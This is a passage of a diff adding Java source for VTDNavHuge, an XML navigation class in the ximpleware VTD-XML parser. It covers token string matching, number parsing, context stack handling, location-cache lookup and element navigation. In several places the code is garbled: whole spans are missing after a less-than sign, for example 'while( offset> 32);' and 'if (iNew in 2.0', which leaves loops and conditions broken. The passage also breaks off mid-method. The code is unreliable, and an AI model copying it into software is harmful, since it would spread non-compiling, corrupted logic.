System.out.print("currentOffset :" + currentOffset); + l = s.length(); + //System.out.println(s); + for (i = 0; i < l && offset < endOffset; i++) { + l1 = getCharResolved(offset); + int i1 = s.charAt(i); + if (i1 < (int) l1) + return 1; + if (i1 > (int) l1) + return -1; + offset += (int) (l1 >> 32); + } + + if (i == l && offset < endOffset) + return 1; + if (i < l && offset == endOffset) + return -1; + return 0; + } + + /** + * Test whether a given token contains s. notie that this function + * directly operates on the byte content of the token to avoid string creation + * @param index + * @param s + * @return + * @throws NavExceptionHuge + */ + final public boolean contains(int index, String s) throws NavExceptionHuge{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + long offset = getTokenOffset(index); + long l1; + int i,l; + long endOffset = offset + len; + boolean b = (type == TOKEN_ATTR_VAL + || type == TOKEN_CHARACTER_DATA); + // System.out.print("currentOffset :" + currentOffset); + long gOffset = offset; + l = s.length(); + if (l> len) + return false; + //System.out.println(s); + while( offset> 32); + if (i ==0) + offset = gOffset; + if (i1 != (int) l1) + break; + } + if (i==l) + return true; + } + return false; + } + + /** + * Lexicographically compare a string against a token with given + * offset and len, entities doesn't get resolved. + * @return int (0 if they are equal, 1 if greater, else -1) + * + * @param offset int + * @param len int + * @param s java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + */ + protected int compareRawTokenString(long offset, int len, String s) + throws NavExceptionHuge { + int i, l; + long l1; + //this.currentOffset = offset; + long endOffset = offset + len; + + + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + //System.out.println(s); + for (i = 0; i < l && offset < endOffset; i++) { + l1 = getChar(offset); + int i1 = s.charAt(i); + if (i1 < (int) l1 ) + return 1; + if (i1 > (int) l1) + return -1; + offset += (int) (l1 >> 32); + } + + if (i == l && offset < endOffset) + return 1; + if (iNew in 2.0 + * Compare the string against the token at the given index value. When a token + * is an attribute name or starting tag, qualified name is what gets compared against + * This method has to take care of the underlying encoding conversion + * but it doesn't resolve entity reference in the underlying document + * The behavior is the same as calling toRawString on index, then compare to s + * @param index + * @param s + * @return the result of lexical comparison + * @exception NavExceptionHuge + * + */ + final public int compareRawTokenString(int index, String s) + throws NavExceptionHuge { + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid calling getChar() everytime + return compareRawTokenString(getTokenOffset(index), len, s); + } + /** + * Match the string against the token at the given index value. When a token + * is an attribute name or starting tag, qualified name is what gets matched against + * This method has to take care of the underlying encoding conversion + * but it doesn't resolve entity reference in the underlying document + * @return boolean + * @param index int (index into the VTD token buffer) + * @param s java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge When if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + **/ + final public boolean matchRawTokenString(int index, String s) + throws NavExceptionHuge { + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid calling getChar() everytime + return compareRawTokenString(getTokenOffset(index), len, s)==0; + } + /** + * Match a string with a token represented by a long (upper 32 len, lower 32 offset). + * @return boolean + * @param l long + * @param s java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge When if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + * + */ + /*final private boolean matchRawTokenString(long l, String s) throws NavExceptionHuge { + int len = (int) ((l & MASK_TOKEN_FULL_LEN) >> 37); + // a little hardcode is always bad + //currentOffset = (int) l; + return compareRawTokenString((int)l, len, s)==0; + }*/ + /** + * Match a string against a token with given offset and len, entities get resolved properly. + * Creation date: (11/24/03 1:37:42 PM) + * @return boolean + * @param offset int + * @param len int + * @param s java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + * @exception IllegalArguementException if s is null + */ + /*final private boolean matchTokenString(long offset, int len, String s) + throws NavExceptionHuge { + return compareTokenString(offset,len,s)==0; + }*/ + + /** + * New in 2.0 + * Compare the string against the token at the given index value. When a token + * is an attribute name or starting tag, qualified name is what gets matched against + * This method has to take care of the underlying encoding conversion + * as well as entity reference comparison + * @param index + * @param s + * @return int + * @throws NavExceptionHuge + * + */ + public int compareTokenString(int index, String s) + throws NavExceptionHuge{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid calling getChar() everytime + return compareTokenString(getTokenOffset(index), len, s); + } + /** + * Match the string against the token at the given index value. When a token + * is an attribute name or starting tag, qualified name is what gets matched against + * This method has to take care of the underlying encoding conversion + * as well as entity reference comparison + * @return boolean + * @param index int + * @param s java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge When if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + **/ + final public boolean matchTokenString(int index, String s) throws NavExceptionHuge { + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + // upper 16 bit is zero or for prefix + + //currentOffset = getTokenOffset(index); + // point currentOffset to the beginning of the token + // for UTF 8 and ISO, the performance is a little better by avoid calling getChar() everytime + return compareTokenString(getTokenOffset(index), len, s)==0; + } + /** + * Match a string against a "non-extractive" token represented by a long (upper 32 len, lower 32 offset). + * @return boolean + * @param l long + * @param s java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge When the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + * + */ + + /*final private boolean matchTokenString(long l, String s) throws NavExceptionHuge { + int len = (int) (l >> 37) & 0xffff; + //currentOffset = (int) l; + return compareTokenString((int) l, len, s)==0; + }*/ + + + /** + * Convert a vtd token into a double. + * Creation date: (12/8/03 2:28:31 PM) + * @return double + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + */ + public double parseDouble(int index) throws NavExceptionHuge { + //if (matchTokenString() + long offset = getTokenOffset(index); + long l=0; + long end = offset + getTokenLength(index); + int t = getTokenType(index); + boolean b = (t==VTDNavHuge.TOKEN_CHARACTER_DATA )|| (t==VTDNavHuge.TOKEN_ATTR_VAL); + boolean expneg = false; + int ch; + //past the last one by one + + { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + while (offset < end) { // trim leading whitespaces + if (!isWS(ch)) + break; + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + if (offset > end) // all whitespace + return Double.NaN; + + boolean neg = (ch == '-'); + + if (ch == '-' || ch == '+'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //get another one if it is sign. + } + //left part of decimal + double left = 0; + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); //only consider decimal + if (dig < 0) + break; + + left = left * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32);; + } + + //right part of decimal + double right = 0; + double scale = 1; + if (ch == '.') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + right = right * 10 + dig; + scale *= 10; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + } + + //exponent + long exp = 0; + if (ch == 'E' || ch == 'e') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + expneg = (ch == '-'); //sign for exp + if (ch == '+' || ch == '-'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //skip the +/- sign + } + long cur = offset; + //remember the indx, used to find a invalid number like 1.23E + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + exp = exp * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + if (cur == offset) + return Double.NaN; + //found a invalid number like 1.23E + + //if (expneg) + // exp = (-exp); + } + + //anything left must be space + while (offset <= end) { + if (!isWS(ch)) + return Double.NaN; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + double v = (double) left; + if (right != 0) + v += ((double) right) / (double) scale; + + if (exp != 0) + v = (expneg)? v /(Math.pow(10,exp)): v*Math.pow(10,exp); + + return ((neg) ? (-v) : v); + } + + /** + * Convert a vtd token into a float. + * we assume token type to be attr val or character data + * Creation date: (12/8/03 2:28:18 PM) + * @return float + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + */ + public float parseFloat(int index) throws NavExceptionHuge { + + long offset = getTokenOffset(index); + long end = offset + getTokenLength(index); + long l; + //past the last one by one + int t = getTokenType(index); + boolean b = (t==VTDNavHuge.TOKEN_CHARACTER_DATA )|| (t==VTDNavHuge.TOKEN_ATTR_VAL); + int ch ; + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + + while (offset <= end) { // trim leading whitespaces + if (!isWS(ch)) + break; + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + if (offset > end) // all whitespace + throw new NavExceptionHuge("Empty string"); + + boolean neg = (ch == '-'); + + if (ch == '-' || ch == '+'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //get another one if it is sign. + } + //left part of decimal + long left = 0; + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); //only consider decimal + if (dig < 0) + break; + + left = left * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + //right part of decimal + long right = 0; + long scale = 1; + if (ch == '.') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + right = right * 10 + dig; + scale *= 10; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + } + + //exponent + long exp = 0; + if (ch == 'E' || ch == 'e') { + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + boolean expneg = (ch == '-'); //sign for exp + if (ch == '+' || ch == '-'){ + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); //skip the +/- sign + } + long cur = offset; + //remember the indx, used to find a invalid number like 1.23E + + while (offset <= end) { + //must be <= since we get the next one at last. + + int dig = Character.digit((char) ch, 10); + //only consider decimal + if (dig < 0) + break; + + exp = exp * 10 + dig; + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + if (cur == offset) + return Float.NaN; + //found a invalid number like 1.23E + + if (expneg) + exp = (-exp); + } + + //anything left must be space + while (offset <= end) { + if (!isWS(ch)) + throw new NavExceptionHuge(toString(index)); + + l = b? getCharResolved(offset):getChar(offset); + ch = (int)l; + offset += (int)(l>>32); + } + + double v = (double) left; + if (right != 0) + v += ((double) right) / (double) scale; + + if (exp != 0) + v = v * Math.pow(10, exp); + + + float f = (float) v; + + //try to handle overflow/underflow + if (v >= (double)Float.MAX_VALUE) + f = Float.MAX_VALUE; + else if (v <= (double)Float.MIN_VALUE) + f = Float.MIN_VALUE; + if (neg) + f = -f; + return f; + } + /** + * Convert a vtd token into an int. + * This method will automatically strip off the leading and trailing + * we assume token type to be attr val or character data + * zero, unlike Integer.parseInt(int index) + * + * Creation date: (12/8/03 2:32:22 PM) + * @return int + * @param index int + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + */ + public int parseInt(int index) throws NavExceptionHuge { + return parseInt(index, 10); + } + /** + * Convert a vtd token into an int, with the given radix. + * we assume token type to be attr val or character data + * the first char can be either '+' or '-' + * Creation date: (12/16/03 1:21:20 PM) + * @return int + * @param index int + * @param radix int + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + */ + protected int parseInt(int index, int radix) throws NavExceptionHuge { + if (radix < 2 || radix > 36) + throw new NumberFormatException( + "radix " + radix + " out of valid range"); + int t = getTokenType(index); + boolean b = (t==VTDNavHuge.TOKEN_CHARACTER_DATA )|| (t==VTDNavHuge.TOKEN_ATTR_VAL); + long offset = getTokenOffset(index); + long endOffset = offset + getTokenLength(index); + + int c; + long l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + + // trim leading whitespaces + while ((c == ' ' || c == '\n' || c == '\t' || c == '\r') + && (offset <= endOffset)){ + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset > endOffset) // all whitespace + throw new NumberFormatException(" empty string"); + + boolean neg = (c == '-'); + if (neg || c == '+') { + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); //skip sign + } + long result = 0; + //long pos = 1; + while (offset <= endOffset) { + int digit = Character.digit((char) c, radix); + if (digit < 0) + break; + + //Note: for binary we can simply shift to left to improve performance + result = result * radix + digit; + //pos *= radix; + + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + + if (result > Integer.MAX_VALUE) + throw new NumberFormatException("Overflow: " + toString(index)); + + // take care of the trailing + while (offset <= endOffset && isWS(c)) { + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset == (endOffset + 1)) + return (int) ((neg) ? (-result) : result); + else + throw new NumberFormatException(toString(index)); + } + /** + * Convert a vtd token into a long. + * we assume token type to be attr val or character data + * Creation date: (12/8/03 2:32:59 PM) + * @return long + * @param index int + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + */ + public long parseLong(int index) throws NavExceptionHuge { + return parseLong(index, 10); + } + /** + * Convert a vtd token into a long, with the given radix. + * the first char can be either '+' or '-', leading and trailing will be stripped + * we assume token type to be attr val or character data + * Creation date: (12/17/03 1:51:06 PM) + * @return long + * @param index int + * @param radix int + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + */ + protected long parseLong(int index, int radix) throws NavExceptionHuge { + if (radix < 2 || radix > 36) + throw new NumberFormatException( + "radix " + radix + " out of valid range"); + + int t = getTokenType(index); + boolean b = (t==VTDNavHuge.TOKEN_CHARACTER_DATA )|| (t==VTDNavHuge.TOKEN_ATTR_VAL); + + long offset = getTokenOffset(index); + long endOffset = offset + getTokenLength(index); + + int c; + long l; + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + + // trim leading whitespaces + while ((c == ' ' || c == '\n' || c == '\t' || c == '\r') + && (offset <= endOffset)){ + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset > endOffset) // all whitespace + throw new NumberFormatException(" empty string"); + + boolean neg = (c == '-'); + if (neg || c == '+'){ + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32);//skip sign + } + long result = 0; + //long pos = 1; + while (offset <= endOffset) { + int digit = Character.digit((char) c, radix); + if (digit < 0) + break; + + //Note: for binary we can simply shift to left to improve performance + result = result * radix + digit; + //pos *= radix; + + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32);; + } + + if (result > Long.MAX_VALUE) + throw new NumberFormatException("Overflow: " + toString(index)); + + // take care of the trailing + while (offset <= endOffset && isWS(c)) { + l = b? getCharResolved(offset):getChar(offset); + c = (int)l; + offset += (int)(l>>32); + } + if (offset == (endOffset + 1)) + return (long) ((neg) ? (-result) : result); + else + throw new NumberFormatException(toString(index)); + } + + /** + * Load the context info from ContextBuffer. + * Info saved including LC and current state of the context + * @return boolean + * + */ + final public boolean pop() { + boolean b = contextStack.load(stackTemp); + if (b == false) + return false; + for (int i = 0; i < nestingLevel; i++) { + context[i] = stackTemp[i]; + } + + l1index = stackTemp[nestingLevel]; + l2index = stackTemp[nestingLevel + 1]; + l3index = stackTemp[nestingLevel + 2]; + l2lower = stackTemp[nestingLevel + 3]; + l2upper = stackTemp[nestingLevel + 4]; + l3lower = stackTemp[nestingLevel + 5]; + l3upper = stackTemp[nestingLevel + 6]; + atTerminal = (stackTemp[nestingLevel + 7] == 1); + LN = stackTemp[nestingLevel+8]; + return true; + } + /** + * Load the context info from contextStack2. + * This method is dedicated for XPath evaluation. + * @return status of pop2 + */ + + + final protected boolean pop2(){ + + boolean b = contextStack2.load(stackTemp); + if (b == false) + return false; + for (int i = 0; i < nestingLevel; i++) { + context[i] = stackTemp[i]; + } + l1index = stackTemp[nestingLevel]; + l2index = stackTemp[nestingLevel + 1]; + l3index = stackTemp[nestingLevel + 2]; + l2lower = stackTemp[nestingLevel + 3]; + l2upper = stackTemp[nestingLevel + 4]; + l3lower = stackTemp[nestingLevel + 5]; + l3upper = stackTemp[nestingLevel + 6]; + atTerminal = (stackTemp[nestingLevel + 7] == 1); + LN = stackTemp[nestingLevel+8]; + return true; + } + /** + * Store the context info into the ContextBuffer. + * Info saved including LC and current state of the context + * Creation date: (11/16/03 7:00:27 PM) + */ + final public void push() { + + for (int i = 0; i < nestingLevel; i++) { + stackTemp[i] = context[i]; + } + stackTemp[nestingLevel] = l1index; + stackTemp[nestingLevel + 1] = l2index; + stackTemp[nestingLevel + 2] = l3index; + stackTemp[nestingLevel + 3] = l2lower; + stackTemp[nestingLevel + 4] = l2upper; + stackTemp[nestingLevel + 5] = l3lower; + stackTemp[nestingLevel + 6] = l3upper; + if (atTerminal) + stackTemp[nestingLevel + 7] =1; + else + stackTemp[nestingLevel + 7] =0; + stackTemp[nestingLevel+8] = LN; + contextStack.store(stackTemp); + } + /** + * Store the context info into the contextStack2. + * This method is reserved for XPath Evaluation + * + */ + + final protected void push2() { + + for (int i = 0; i < nestingLevel; i++) { + stackTemp[i] = context[i]; + } + stackTemp[nestingLevel] = l1index; + stackTemp[nestingLevel + 1] = l2index; + stackTemp[nestingLevel + 2] = l3index; + stackTemp[nestingLevel + 3] = l2lower; + stackTemp[nestingLevel + 4] = l2upper; + stackTemp[nestingLevel + 5] = l3lower; + stackTemp[nestingLevel + 6] = l3upper; + if (atTerminal) + stackTemp[nestingLevel + 7] =1; + else + stackTemp[nestingLevel + 7] =0; + stackTemp[nestingLevel+8] = LN; + contextStack2.store(stackTemp); + } + + /** + * clear the contextStack2 after XPath evaluation + * + * + */ + final protected void clearStack2(){ + contextStack2.clear(); + } + /** + * Sync level 1 location cache + */ + private void resolveLC_l1(){ + if (l1index < 0 || l1index >= l1Buffer.size() + || context[1] != l1Buffer.upper32At(l1index)) { + if (l1index >= l1Buffer.size() || l1index < 0) { + l1index = 0; + } + if (l1index+1 context[1]) { + while (l1Buffer.upper32At(init_guess) != context[1]) { + init_guess--; + } + } else if (l1Buffer.upper32At(init_guess) < context[1]) { + while (l1Buffer.upper32At(init_guess) != context[1]) { + init_guess++; + } + } + l1index = init_guess; + } else{ + if (context[1]>=l1Buffer.upper32At(l1index)){ + while(context[1]!=l1Buffer.upper32At(l1index) + && l1index < l1Buffer.size()){ + l1index++; + } + } + else{ + while(context[1]!=l1Buffer.upper32At(l1index) + && l1index >=0){ + l1index--; + } + } + } + } + } + + /** + * Sync Level 2 location cache + */ + private void resolveLC_l2(){ + int temp = l1Buffer.lower32At(l1index); + if (l2lower != temp) { + l2lower = temp; + // l2lower shouldn't be -1 !!!! l2lower and l2upper always get + // resolved simultaneously + l2index = l2lower; + l2upper = l2Buffer.size() - 1; + for (int i = l1index + 1; i < l1Buffer.size(); i++) { + temp = l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + l2upper = temp - 1; + break; + } + } + } // intelligent guess again ?? + + if (l2index < 0 || l2index >= l2Buffer.size() + || context[2] != l2Buffer.upper32At(l2index)) { + + if (l2index >= l2Buffer.size() || l2index<0) + l2index = l2lower; + if (l2index+1< l2Buffer.size()&& context[2] == l2Buffer.upper32At(l2index + 1)) + l2index = l2index + 1; + else if (l2upper - l2lower >= 16) { + int init_guess = l2lower + + (int) ((l2upper - l2lower) + * ((float) context[2] - l2Buffer + .upper32At(l2lower)) / (l2Buffer + .upper32At(l2upper) - l2Buffer + .upper32At(l2lower))); + if (l2Buffer.upper32At(init_guess) > context[2]) { + while (context[2] != l2Buffer.upper32At(init_guess)) + init_guess--; + } else if (l2Buffer.upper32At(init_guess) < context[2]) { + while (context[2] != l2Buffer.upper32At(init_guess)) + init_guess++; + } + l2index = init_guess; + } else if (context[2]= l3Buffer.size() + || context[3] != l3Buffer.intAt(l3index)) { + if (l3index >= l3Buffer.size() || l3index <0) + l3index = l3lower; + if (l3index+1 < l3Buffer.size() && + context[3] == l3Buffer.intAt(l3index + 1)) + l3index = l3index + 1; + else if (l3upper - l3lower >= 16) { + int init_guess = l3lower + + (int) ((l3upper - l3lower) * ((float) (context[3] - l3Buffer + .intAt(l3lower)) / (l3Buffer.intAt(l3upper) - l3Buffer + .intAt(l3lower)))); + if (l3Buffer.intAt(init_guess) > context[3]) { + while (context[3] != l3Buffer.intAt(init_guess)) + init_guess--; + } else if (l3Buffer.intAt(init_guess) < context[3]) { + while (context[3] != l3Buffer.intAt(init_guess)) + init_guess++; + } + l3index = init_guess; + } else if (context[3]> 16) & 0xffff; + + return lookupNS(offset, preLen); + + //return resolveNS(URL, offset, preLen); + } + + /** + * This function returns the VTD record index of the namespace + * that matches the prefix of cursor element + * @param URL + * @return int + * + */ + protected int lookupNS(long offset, int len){ + long l; + boolean hasNS = false; + int size = vtdBuffer.size(); + int type; + // look for a match in the current hiearchy and return true + for (int i = context[0]; i >= 0; i--) { + int s = (i != 0) ? context[i] : rootIndex; + { + int k = s + 1; + if (k>=size) + break; + type = getTokenType(k); + + while ( (type == TOKEN_ATTR_NAME || type == TOKEN_ATTR_NS)) { + if (type == TOKEN_ATTR_NS) { + // Get the token length + hasNS = true; + int temp = getTokenLength(k); + int preLen = ((temp >> 16) & 0xffff); + int fullLen = temp & 0xffff; + long os = getTokenOffset(k); + // xmlns found + if (temp == 5 && len == 0) { + l = vtdBuffer.longAt(s); + hasNS = false; + /*vtdBuffer.modifyEntry( + s, + l | 0x00000000c0000000L);*/ + + return k+1; + + } else if ((fullLen - preLen - 1) == len) { + // prefix length identical to local part of ns declaration + boolean a = true; + for (int j = 0; j < len; j++) { + if (getCharUnit(os + preLen + 1 + j) + != getCharUnit(offset + j)) { + a = false; + break; + } + } + if (a == true) { + //l = vtdBuffer.longAt(s); + //hasNS = false; + //vtdBuffer.modifyEntry( + // s, + // l | 0x00000000c0000000L); + return k+1; + } + } + } + //return (URL != null) ? true : false; + k += 2; + if (k>=size) + break; + type = getTokenType(k); + } + /*l = vtdBuffer.longAt(s); + if (hasNS) { + hasNS = false; + //vtdBuffer.modifyEntry(s, l | 0x00000000c0000000L); + } else { + //vtdBuffer.modifyEntry(s, l | 0x0000000080000000L); + }*/ + //break; + } + } + return 0; + //return -1; + } + private boolean resolveNS(String URL, long offset, int len) + throws NavExceptionHuge { + + int result = lookupNS(offset, len); + switch(result){ + case 0: + if (URL == null){ + return true; + } else { + return false; + } + default: + if (URL == null) + return false; + else { + return matchTokenString(result, URL); + } + + } + } + /** + * A generic navigation method. + * Move the current to the element according to the direction constants + * If no such element, no position change and return false. + * Creation date: (12/2/03 1:43:50 PM) + * Legal direction constants are + *
       			ROOT               0 
    + *
     		    PARENT  		   1 
    + *
           	    FIRST_CHILD		   2 
    + *
     		    LAST_CHILD 		   3 
    + *
        	  	    NEXT_SIBLING       4 
    + *
          	    PREV_SIBLING       5 
    + * @return boolean + * @param direction int + * @exception com.ximpleware.extended.NavExceptionHuge When direction value is illegal. + */ + public boolean toElement(int direction) throws NavExceptionHuge { + int size; + switch (direction) { + case ROOT : // to document element! + if (context[0] != 0) { + /*for (int i = 1; i <= context[0]; i++) { + context[i] = 0xffffffff; + }*/ + context[0] = 0; + } + atTerminal = false; + l1index = l2index = l3index = -1; + return true; + case PARENT : + if (atTerminal == true){ + atTerminal = false; + return true; + } + if (context[0] > 0) { + //context[context[0]] = context[context[0] + 1] = 0xffffffff; + context[context[0]] = -1; + context[0]--; + return true; + }else if (context[0]==0){ + context[0]=-1; //to be compatible with XPath Data model + return true; + } + else { + return false; + } + case FIRST_CHILD : + case LAST_CHILD : + if (atTerminal) return false; + switch (context[0]) { + case -1: + context[0] = 0; + return true; + case 0 : + if (l1Buffer.size() > 0) { + context[0] = 1; + l1index = + (direction == FIRST_CHILD) + ? 0 + : (l1Buffer.size() - 1); + context[1] = l1Buffer.upper32At(l1index); + //(int) (vtdToken >> 32); + return true; + } else + return false; + case 1 : + l2lower = l1Buffer.lower32At(l1index); + if (l2lower == -1) { + return false; + } + context[0] = 2; + l2upper = l2Buffer.size() - 1; + size = l1Buffer.size(); + for (int i = l1index + 1; i < size; i++) { + int temp = l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + l2upper = temp - 1; + break; + } + } + //System.out.println(" l2 upper: " + l2upper + " l2 lower : " + l2lower); + l2index = + (direction == FIRST_CHILD) ? l2lower : l2upper; + context[2] = l2Buffer.upper32At(l2index); + return true; + + case 2 : + l3lower = l2Buffer.lower32At(l2index); + if (l3lower == -1) { + return false; + } + context[0] = 3; + + l3upper = l3Buffer.size() - 1; + size = l2Buffer.size(); + for (int i = l2index + 1; i < size; i++) { + int temp = l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + l3upper = temp - 1; + break; + } + } + //System.out.println(" l3 upper : " + l3upper + " l3 lower : " + l3lower); + l3index = + (direction == FIRST_CHILD) ? l3lower : l3upper; + context[3] = l3Buffer.intAt(l3index); + + return true; + + default : + if (direction == FIRST_CHILD) { + size = vtdBuffer.size(); + int index = context[context[0]] + 1; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 55); + if (depth <= context[0]) { + return false; + } else if (depth == (context[0] + 1)) { + context[0] += 1; + context[context[0]] = index; + return true; + } + } + + index++; + } // what condition + return false; + } else { + int index = context[context[0]] + 1; + int last_index = -1; + size = vtdBuffer.size(); + while (index < size) { + long temp = vtdBuffer.longAt(index); + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 55); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + if (depth <= context[0]) { + break; + } else if (depth == (context[0] + 1)) { + last_index = index; + } + } + + index++; + } + if (last_index == -1) { + return false; + } else { + context[0] += 1; + context[context[0]] = last_index; + return true; + } + } + } + + case NEXT_SIBLING : + case PREV_SIBLING : + if(atTerminal)return false; + switch (context[0]) { + case -1: + case 0 : + return false; + case 1 : + if (direction == NEXT_SIBLING) { + if (l1index + 1 >= l1Buffer.size()) { + return false; + } + + l1index++; // global incremental + } else { + if (l1index - 1 < 0) { + return false; + } + l1index--; // global incremental + } + context[1] = l1Buffer.upper32At(l1index); + return true; + case 2 : + if (direction == NEXT_SIBLING) { + if (l2index + 1 > l2upper) { + return false; + } + l2index++; + } else { + if (l2index - 1 < l2lower) { + return false; + } + l2index--; + } + context[2] = l2Buffer.upper32At(l2index); + return true; + case 3 : + if (direction == NEXT_SIBLING) { + if (l3index + 1 > l3upper) { + return false; + } + l3index++; + } else { + if (l3index - 1 < l3lower) { + return false; + } + l3index--; + } + context[3] = l3Buffer.intAt(l3index); + return true; + default : + //int index = 